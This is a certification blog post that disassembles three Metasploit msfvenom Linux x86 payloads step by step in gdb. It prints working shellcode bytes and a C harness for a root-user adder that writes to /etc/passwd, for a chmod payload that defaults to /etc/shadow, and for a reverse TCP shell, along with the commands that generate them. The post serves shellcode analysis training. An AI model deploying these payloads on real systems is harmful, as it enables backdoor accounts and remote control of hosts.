SLAE x86 Assignment 5: MSFVenom Shellcode Analysis
Hey guys! Welcome back! In this post, we will take a look at assignment 5 of the SLAE x86 certification, which requires us to analyse three MSFVenom shellcodes. Let’s dive right in!
Shellcode 1: linux/x86/adduser
Let’s start off with something simple. This payload adds a new user to the /etc/passwd
file. Let’s have a look at the configurable options:
$ msfvenom -p linux/x86/adduser --list-options
Options for payload/linux/x86/adduser:
=========================
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
So the basic options show us that it takes the username, password, and shell for this user as arguments. Let’s generate some test shellcode:
$ msfvenom -p linux/x86/adduser -f c -o adduser USER=metasploit PASS=metasploit
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
Saved as: adduser
We paste this in shellcode.c
, and compile and run:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
shellcode.c:12:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
12 | main()
| ^~~~
$ sudo ./shellcode
[sudo] password for kali:
Shellcode Length: 40
$ grep metasploit /etc/passwd
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
So as you can see, a new user with the username metasploit
is added. Let’s now analyse how the shellcode works.
Analysis
Let’s take this into gdb
and disassemble the code. Note that the breakpoint is set at the beginning of our shellcode (break *&code
):
Breakpoint 1, 0x00404040 in code ()
gdb-peda$ disas
Dump of assembler code for function code:
=> 0x00404040 <+0>: xor ecx,ecx
0x00404042 <+2>: mov ebx,ecx
0x00404044 <+4>: push 0x46
0x00404046 <+6>: pop eax
0x00404047 <+7>: int 0x80
0x00404049 <+9>: push 0x5
0x0040404b <+11>: pop eax
0x0040404c <+12>: xor ecx,ecx
0x0040404e <+14>: push ecx
0x0040404f <+15>: push 0x64777373
0x00404054 <+20>: push 0x61702f2f
0x00404059 <+25>: push 0x6374652f
0x0040405e <+30>: mov ebx,esp
0x00404060 <+32>: inc ecx
0x00404061 <+33>: mov ch,0x4
0x00404063 <+35>: int 0x80
0x00404065 <+37>: xchg ebx,eax
0x00404066 <+38>: call 0x404093 <code+83>
0x0040406b <+43>: ins DWORD PTR es:[edi],dx
0x0040406c <+44>: gs je 0x4040d0
0x0040406f <+47>: jae 0x4040e1
0x00404071 <+49>: ins BYTE PTR es:[edi],dx
0x00404072 <+50>: outs dx,DWORD PTR ds:[esi]
0x00404073 <+51>: imul esi,DWORD PTR [edx+edi*1+0x41],0x49642f7a
0x0040407b <+59>: jae 0x4040e7
0x0040407d <+61>: xor al,0x70
0x0040407f <+63>: xor al,0x49
0x00404081 <+65>: push edx
0x00404082 <+66>: arpl WORD PTR [edx],di
0x00404084 <+68>: xor BYTE PTR [edx],bh
0x00404086 <+70>: xor BYTE PTR [edx],bh
0x00404088 <+72>: cmp ch,BYTE PTR [edi]
0x0040408a <+74>: cmp ch,BYTE PTR [edi]
0x0040408c <+76>: bound ebp,QWORD PTR [ecx+0x6e]
0x0040408f <+79>: das
0x00404090 <+80>: jae 0x4040fa
0x00404092 <+82>: or bl,BYTE PTR [ecx-0x75]
0x00404095 <+85>: push ecx
0x00404096 <+86>: cld
0x00404097 <+87>: push 0x4
0x00404099 <+89>: pop eax
0x0040409a <+90>: int 0x80
0x0040409c <+92>: push 0x1
0x0040409e <+94>: pop eax
0x0040409f <+95>: int 0x80
0x004040a1 <+97>: add BYTE PTR [eax],al
End of assembler dump.
So right off the bat, the disassembly is quite long. But we don’t need to concern ourselves with every single instruction. A few notes can be taken:
- There is an
int 0x80
instruction at0x00404047
.eax
holds0x46
which is the syscall number. - The
push
instructions at0x0040404f
,0x00404054
and0x00404059
look like parameters. - Another
int 0x80
at0x00404063
, with syscall number0x5
ineax
and a pointer to our arguments inebx
. - The
call
at0x00404066
is worth looking into.
Alright, so let’s start off by checking out the first int 0x80
, with the syscall number 0x46
(70):
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_setreuid 70
So this is a call to the setreuid()
function. It takes the following arguments:
SYNOPSIS top
#include <sys/types.h>
#include <unistd.h>
int setreuid(uid_t ruid, uid_t euid);
This function is responsible for making sure that this program runs as root. This explains the two 0s as the arguments in ecx
and ebx
:
0x00404040 <+0>: xor ecx,ecx ;ecx=0
0x00404042 <+2>: mov ebx,ecx ;ebx=0
0x00404044 <+4>: push 0x46 ;70 --> setreuid()
0x00404046 <+6>: pop eax
0x00404047 <+7>: int 0x80 ;syscall
The second syscall with the number 0x5
is a call to the open()
function:
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_open 5
This is probably created in order to setup the descriptors for editing /etc/passwd
. These are the arguments that it takes:
SYNOPSIS top
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
So it takes a pointer to the filename, and access flags. These flags can be found in the fcntl.h
header file. Keep in mind that these flags are in octal:
#define O_ACCMODE 00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#define O_CREAT 00000100
#define O_EXCL 00000200
#define O_NOCTTY 00000400
#define O_TRUNC 00001000
#define O_APPEND 00002000
.. and so on
So ecx
serves as our NULLs
in order to null-terminate the string /etc//passwd
(starting at 0x6374652f
). Then, a pointer to that string is stored in ebx
. Then, the value of 0x401
(2001 in octal) is stored in ecx
. which means that the O_APPEND
and O_WRONLY
flags are used. This means that the file is opened for write-only and appending.
0x00404049 <+9>: push 0x5
0x0040404b <+11>: pop eax ;eax=0x5 --> open()
0x0040404c <+12>: xor ecx,ecx
0x0040404e <+14>: push ecx ;nulls
0x0040404f <+15>: push 0x64777373 ;/etc//passwd string null-terminated
0x00404054 <+20>: push 0x61702f2f
0x00404059 <+25>: push 0x6374652f
0x0040405e <+30>: mov ebx,esp ;pointer to string
0x00404060 <+32>: inc ecx ;ecx=0x1
0x00404061 <+33>: mov ch,0x4 ;ecx=0x401 --> O_WRONLY and O_APPEND
0x00404063 <+35>: int 0x80 ;syscall
0x00404065 <+37>: xchg ebx,eax
The xchng
after the syscall switches the values stored in ebx
and eax
. So eax
has the pointer to our string and ebx
has 0x3
.
In order to understand what that call at 0x00404066
does, I set a breakpoint at the address that it’s calling, which is 0x404093
:
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff1ac ("/etc//passwd")
EBX: 0xfffffff3
ECX: 0x401
EDX: 0x40201e --> 0x1b010000
ESI: 0xb7fb8000 --> 0x1dfd6c
EDI: 0xb7fb8000 --> 0x1dfd6c
EBP: 0xbffff1d8 --> 0x0
ESP: 0xbffff1a8 --> 0x40406b ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X")
EIP: 0x404093 --> 0xfc518b59
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x404093 <code+83>: pop ecx
0x404094 <code+84>: mov edx,DWORD PTR [ecx-0x4]
0x404097 <code+87>: push 0x4
0x404099 <code+89>: pop eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff1a8 --> 0x40406b ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X")
0004| 0xbffff1ac ("/etc//passwd")
0008| 0xbffff1b0 ("//passwd")
0012| 0xbffff1b4 ("sswd")
0016| 0xbffff1b8 --> 0x0
0020| 0xbffff1bc --> 0x4011f9 (<main+80>: mov eax,0x0)
0024| 0xbffff1c0 --> 0x1
0028| 0xbffff1c4 --> 0xbffff284 --> 0xbffff41d ("/home/kali/Desktop/SLAE_Practice/SLAEx86_Assignments/ass5/shellcode")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
So from the upper half, we can gather that our username, password and shell parameters are stored at esp
, and after the call
executes, it will be popped into ecx
:
gdb-peda$ stepi
[----------------------------------registers-----------------------------------]
EAX: 0xbffff1ac ("/etc//passwd")
EBX: 0xfffffff3
ECX: 0x40406b ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X")
...
...
[-------------------------------------code-------------------------------------]
=> 0x404094 <code+84>: mov edx,DWORD PTR [ecx-0x4]
0x404097 <code+87>: push 0x4
0x404099 <code+89>: pop eax
0x40409a <code+90>: int 0x80
So, this is the part of the code that passes our parameters for write()
:
0x404093 <code+83>: pop ecx ;username,passwd,shell
0x404094 <code+84>: mov edx,DWORD PTR [ecx-0x4] ;length
0x404097 <code+87>: push 0x4
0x404099 <code+89>: pop eax ;eax=0x4 --> write()
0x40409a <code+90>: int 0x80 ;syscall
Then, the write()
function is executed, which has a syscall number of 0x4
:
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_write 4
SYNOPSIS top
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
So this takes the file descriptor as the first argument, data as the second, followed by the length of the data:
0x00404099 in code ()
gdb-peda$ stepi
[----------------------------------registers-----------------------------------]
EAX: 0x4
EBX: 0xfffffff3
ECX: 0x40406b ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X")
EDX: 0x28 ('(')
...
...
[-------------------------------------code-------------------------------------]
0x404096 <code+86>: cld
0x404097 <code+87>: push 0x4
0x404099 <code+89>: pop eax
=> 0x40409a <code+90>: int 0x80
Then finally, the exit()
function is called, with the syscall number 0x1
:
0x0040409c <+92>: push 0x1
0x0040409e <+94>: pop eax ;eax=0x1 --> exit()
0x0040409f <+95>: int 0x80 ;syscall
Shellcode 2: linux/x86/chmod
Now let’s have a look at a chmod
shellcode. This shellcode helps in changing the permissions of a particular file, when supplied with a desired mode. Let’s look at the basic options:
$ msfvenom -p linux/x86/chmod --list-options
Options for payload/linux/x86/chmod:
=========================
Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
So the payload appears to be taking two arguments, the filename and the desired mode in octal. Let’s generate some test shellcode and check it out:
$ msfvenom -p linux/x86/chmod FILE=test.txt -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
Final size of c file: 165 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x2e"
"\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";
paste in shellcode.c, compile
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
shellcode.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
8 | main()
| ^~~~
before running:
$ ls -la | grep test.txt
-rw-r--r-- 1 kali kali 6 Jun 27 19:24 test.txt
$ ./shellcode
Shellcode Length: 7
$ ls -la | grep test.txt
-rw-rw-rw- 1 kali kali 6 Jun 27 19:24 test.txt
As you can see, the permissions have been changed to read and write for all users and groups, which basically translates to a chmod 666
command. Now, let’s understand how this works.
Analysis
Let’s take this into gdb
and obtain a disassembly. Note that the breakpoint is set at the beginning of our shellcode (break *&code
):
gdb-peda$ disas
Dump of assembler code for function code:
=> 0x00404040 <+0>: cdq
0x00404041 <+1>: push 0xf
0x00404043 <+3>: pop eax
0x00404044 <+4>: push edx
0x00404045 <+5>: call 0x404053 <code+19>
0x0040404a <+10>: je 0x4040b1
0x0040404c <+12>: jae 0x4040c2
0x0040404e <+14>: cs je 0x4040c9
0x00404051 <+17>: je 0x404053 <code+19>
0x00404053 <+19>: pop ebx
0x00404054 <+20>: push 0x1b6
0x00404059 <+25>: pop ecx
0x0040405a <+26>: int 0x80
0x0040405c <+28>: push 0x1
0x0040405e <+30>: pop eax
0x0040405f <+31>: int 0x80
0x00404061 <+33>: add BYTE PTR [eax],al
End of assembler dump.
Like before, let’s take some quick notes:
eax
intially holds the value of0xf
, used later for anint 0x80
.- The call at
0x00404045
is worth looking into. - There’s a bunch of conditional jumps before the first syscall. It’ll be better to set breakpoints and step in in order to understand these.
Let’s set a breakpoint at the int 0x80
at 0x0040405a
:
gdb-peda$ break *0x0040405a
Breakpoint 2 at 0x40405a
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x40404a ("test.txt")
ECX: 0x1b6
EDX: 0x0
ESI: 0xb7fb8000 --> 0x1dfd6c
EDI: 0xb7fb8000 --> 0x1dfd6c
EBP: 0xbffff1d8 --> 0x0
ESP: 0xbffff1b8 --> 0x0
EIP: 0x40405a --> 0x16a80cd
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x404053 <code+19>: pop ebx ;filename
0x404054 <code+20>: push 0x1b6
0x404059 <code+25>: pop ecx ;mode
=> 0x40405a <code+26>: int 0x80 ;syscall
0x40405c <code+28>: push 0x1
0x40405e <code+30>: pop eax
0x40405f <code+31>: int 0x80
0x404061 <code+33>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
So this is right before our first syscall. From here, we can understand what we’re calling with what parameters. 0xf
in decimal is 15, which corresponds to the chmod
syscall:
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_chmod 15
SYNOPSIS top
#include <sys/stat.h>
int chmod(const char *pathname, mode_t mode);
It takes two arguments, file path and mode. We can see this in our registers above, ebx
holds a pointer to our filename and ecx
holds 0x1b6
which is 438 in decimal, which is 666 in octal.
The next part of our shellcode is basically our exit()
function.
Shellcode 3: linux/x86/shell_reverse_tcp
Let’s look at the reverse shell next. For this payload, I’ll be using sctest
in order to properly analyse each function. Let’s first have a look at the basic options:
$ msfvenom -p linux/x86/shell/reverse_tcp --list-options
Options for payload/linux/x86/shell/reverse_tcp:
=========================
Name: Linux Command Shell, Reverse TCP Stager
Module: payload/linux/x86/shell/reverse_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 245
Rank: Normal
Provided by:
skape <mmiller@hick.org>
egypt <egypt@metasploit.com>
tkmru
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Spawn a command shell (staged). Connect back to the attacker
This payload takes two arguments, the listener’s address and listener’s port. Let’s analyse how this works.
Analysis
Let’s run sctest
in order to examine each function that’s involved:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 | sctest -v -Ss 100000
...
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 16777343 (host=127.0.0.1);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
So from assignment 2, we have a fair idea of how a reverse shell works. We have four core functions, socket()
, dup2()
, connect()
, and execve()
. Let’s generate test shellcode, compile shellcode.c
and throw it into gdb
to understand the arguments that go into each function:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
paste in shellcode.c, compile
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
shellcode.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
8 | main()
| ^~~~
gdb-peda$ disas
Dump of assembler code for function code:
=> 0x00404040 <+0>: xor ebx,ebx
0x00404042 <+2>: mul ebx
0x00404044 <+4>: push ebx
0x00404045 <+5>: inc ebx
0x00404046 <+6>: push ebx
0x00404047 <+7>: push 0x2
0x00404049 <+9>: mov ecx,esp
0x0040404b <+11>: mov al,0x66
0x0040404d <+13>: int 0x80
0x0040404f <+15>: xchg ebx,eax
0x00404050 <+16>: pop ecx
0x00404051 <+17>: mov al,0x3f
0x00404053 <+19>: int 0x80
0x00404055 <+21>: dec ecx
0x00404056 <+22>: jns 0x404051 <code+17>
0x00404058 <+24>: push 0x100007f
0x0040405d <+29>: push 0x5c110002
0x00404062 <+34>: mov ecx,esp
0x00404064 <+36>: mov al,0x66
0x00404066 <+38>: push eax
0x00404067 <+39>: push ecx
0x00404068 <+40>: push ebx
0x00404069 <+41>: mov bl,0x3
0x0040406b <+43>: mov ecx,esp
0x0040406d <+45>: int 0x80
0x0040406f <+47>: push edx
0x00404070 <+48>: push 0x68732f6e
0x00404075 <+53>: push 0x69622f2f
0x0040407a <+58>: mov ebx,esp
0x0040407c <+60>: push edx
0x0040407d <+61>: push ebx
0x0040407e <+62>: mov ecx,esp
0x00404080 <+64>: mov al,0xb
0x00404082 <+66>: int 0x80
0x00404084 <+68>: add BYTE PTR [eax],al
End of assembler dump.
- So there’s four different
int 0x80
instructions, corresponding to our four functions. Let’s set a breakpoint at each in order to understand how each function works. Let’s start with the first syscall:
=> 0x00404040 <+0>: xor ebx,ebx ;ebx=0
0x00404042 <+2>: mul ebx
0x00404044 <+4>: push ebx ;0 --> IPPROTO_IP
0x00404045 <+5>: inc ebx ;ebx=1
0x00404046 <+6>: push ebx ;1 --> SOCK_STREAM
0x00404047 <+7>: push 0x2 ;2 --> AF_INET
0x00404049 <+9>: mov ecx,esp ;pointer to args
0x0040404b <+11>: mov al,0x66 ;socketcall
0x0040404d <+13>: int 0x80 ;syscall
This is where our address structure is defined. The socket()
function is called (ebx=1 --> call to socket()
), with arguments 2, 1 and 0:
AF_INET
: Found in/usr/include/bits/socket.h
:#define PF_INET 2 /* IP protocol family. */ #define AF_INET PF_INET
SOCK_STREAM
: Found in/usr/include/bits/socket_type.h
:SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */
int protocol
: Found in/usr/include/linux/in.h
:IPPROTO_IP = 0, /* Dummy protocol for TCP */
The sockfd
returned is then stored in ebx
:
0x0040404f <+15>: xchg ebx,eax
The second syscall is for dup2
:
0x00404050 <+16>: pop ecx ;ecx=2 (counter)
0x00404051 <+17>: mov al,0x3f ;dup2
0x00404053 <+19>: int 0x80 ;syscall
0x00404055 <+21>: dec ecx
0x00404056 <+22>: jns 0x404051 <code+17> ;loop
This will duplicate our standard file descriptors STDIN
, STDOUT
and STDERR
.
The next section of code deals with connect()
(connect(s,2,port,addr,16
)):
0x00404058 <+24>: push 0x100007f ;ip(127.0.0.1)
0x0040405d <+29>: push 0x5c110002 ;port(4444)
0x00404062 <+34>: mov ecx,esp ;pointer to args
0x00404064 <+36>: mov al,0x66 ;socketcall
0x00404066 <+38>: push eax ;length of addr struct(16)
0x00404067 <+39>: push ecx ;ip and port
0x00404068 <+40>: push ebx ;sockfd
0x00404069 <+41>: mov bl,0x3 ;ebx=3 --> connect()
0x0040406b <+43>: mov ecx,esp ;pointer to args
0x0040406d <+45>: int 0x80 ;syscall
The last section of code deals with execve()
:
0x0040406f <+47>: push edx ;NULLS
0x00404070 <+48>: push 0x68732f6e ;//bin/sh
0x00404075 <+53>: push 0x69622f2f
0x0040407a <+58>: mov ebx,esp ;pointer to null-terminated string
0x0040407c <+60>: push edx
0x0040407d <+61>: push ebx
0x0040407e <+62>: mov ecx,esp ;pointer to args
0x00404080 <+64>: mov al,0xb ;execve
0x00404082 <+66>: int 0x80 ;syscall
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1534